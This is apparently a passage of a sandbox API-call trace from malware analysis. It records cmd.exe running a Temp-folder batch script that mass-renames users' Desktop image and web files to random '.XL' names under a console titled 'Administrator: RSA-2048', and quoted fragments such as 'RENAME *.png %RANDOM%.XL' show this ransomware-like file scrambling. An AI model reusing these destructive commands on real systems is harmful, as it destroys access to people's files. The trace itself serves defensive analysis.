ftLastAccessTime.dwHighDateTime=0x1d5dc16, ftLastWriteTime.dwLowDateTime=0x31503930, ftLastWriteTime.dwHighDateTime=0x1d5dc16, nFileSizeHigh=0x0, nFileSizeLow=0x6510, dwReserved0=0x0, dwReserved1=0x0, cFileName="u-JXm.jpg", cAlternateFileName="")) returned 1 [0037.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u-JXm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u-jxm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2894.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2894.xl")) returned 0 [0037.626] GetLastError () returned 0xb7 [0037.626] _get_osfhandle (_FileHandle=2) returned 0xb [0037.626] GetFileType (hFile=0xb) returned 0x2 [0037.627] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.627] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.627] _get_osfhandle (_FileHandle=2) returned 0xb [0037.627] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.627] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.627] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.627] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.628] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 1 [0037.628] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZBPLPhCRCXl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbplphcrcxl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2894.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2894.xl")) returned 0 [0037.628] GetLastError () returned 0xb7 [0037.628] _get_osfhandle (_FileHandle=2) returned 0xb [0037.629] GetFileType (hFile=0xb) returned 0x2 [0037.629] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.629] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.629] _get_osfhandle (_FileHandle=2) returned 0xb [0037.629] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.629] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.629] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.630] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.630] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 0 [0037.630] GetLastError () returned 0x12 [0037.630] FindClose (in: hFindFile=0x4f4bc0 | out: hFindFile=0x4f4bc0) returned 1 [0037.630] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.630] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.631] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.631] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.631] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.631] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.631] SetConsoleInputExeNameW () returned 0x1 [0037.631] GetConsoleOutputCP () returned 0x1b5 [0037.631] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.632] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.632] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.632] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.632] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.632] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.632] GetProcessHeap () returned 0x4e0000 [0037.632] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ce0 | out: hHeap=0x4e0000) returned 1 [0037.632] GetProcessHeap () returned 0x4e0000 [0037.632] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ac8 | out: hHeap=0x4e0000) returned 1 [0037.632] GetProcessHeap () returned 0x4e0000 [0037.632] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.633] GetProcessHeap () returned 0x4e0000 [0037.633] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b88 | out: hHeap=0x4e0000) returned 1 [0037.633] GetProcessHeap () returned 0x4e0000 [0037.633] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.633] GetProcessHeap () returned 0x4e0000 [0037.633] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.633] GetProcessHeap () returned 0x4e0000 [0037.633] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae8 | out: hHeap=0x4e0000) returned 1 [0037.633] GetProcessHeap () returned 0x4e0000 [0037.633] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.634] GetProcessHeap () returned 0x4e0000 [0037.634] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.634] GetProcessHeap () returned 0x4e0000 [0037.634] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.634] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.634] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.634] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1f9e, lpOverlapped=0x0) returned 1 [0037.634] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0037.634] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.634] GetFileType (hFile=0x74) returned 0x1 [0037.634] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.634] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.634] GetProcessHeap () returned 0x4e0000 [0037.634] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.635] GetProcessHeap () returned 0x4e0000 [0037.635] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.635] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.635] GetProcessHeap () returned 0x4e0000 [0037.635] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4a98 [0037.635] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4ab8 [0037.635] _tell (_FileHandle=3) returned 1690 [0037.635] _close (_FileHandle=3) returned 0 [0037.636] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.636] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.636] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.636] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.636] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.636] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.636] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.636] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.636] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.636] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.636] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.636] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.636] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.636] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.636] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.636] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.636] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.636] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.636] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.636] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.636] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.636] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.637] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.637] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f4ad8 [0037.637] GetProcessHeap () returned 0x4e0000 [0037.637] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x14 [0037.637] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.637] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.637] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.637] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.637] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.637] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.637] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.637] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.637] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.637] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.637] GetFileType (hFile=0x74) returned 0x1 [0037.637] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.638] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=1692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.638] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.638] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.638] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.638] GetFileType (hFile=0x74) returned 0x1 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.638] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.638] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\n 2894.XL") returned 6 [0037.638] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.638] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.638] GetFileType (hFile=0x74) returned 0x1 [0037.638] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.638] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.639] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.639] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.639] GetFileType (hFile=0x74) returned 0x1 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.639] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.639] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.639] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.639] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.639] GetFileType (hFile=0x74) returned 0x1 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.639] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.639] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.640] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.640] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.640] GetFileType (hFile=0x74) returned 0x1 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.640] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=1739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.640] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.640] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.640] GetFileType (hFile=0x74) returned 0x1 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.640] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.640] SetFilePointer (in: hFile=0x74, lDistanceToMove=1745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.640] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.641] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.641] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.641] GetFileType (hFile=0x74) returned 0x1 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.641] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=1747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.641] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.641] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.641] GetFileType (hFile=0x74) returned 0x1 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.641] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=1773, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.641] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.641] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.642] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.642] GetFileType (hFile=0x74) returned 0x1 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.642] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=1784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0037.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.642] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0037.642] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.642] GetFileType (hFile=0x74) returned 0x1 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0037.642] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=1786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.642] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.642] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.642] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.643] GetFileType (hFile=0x74) returned 0x1 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.643] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=1793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0037.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.643] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.643] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 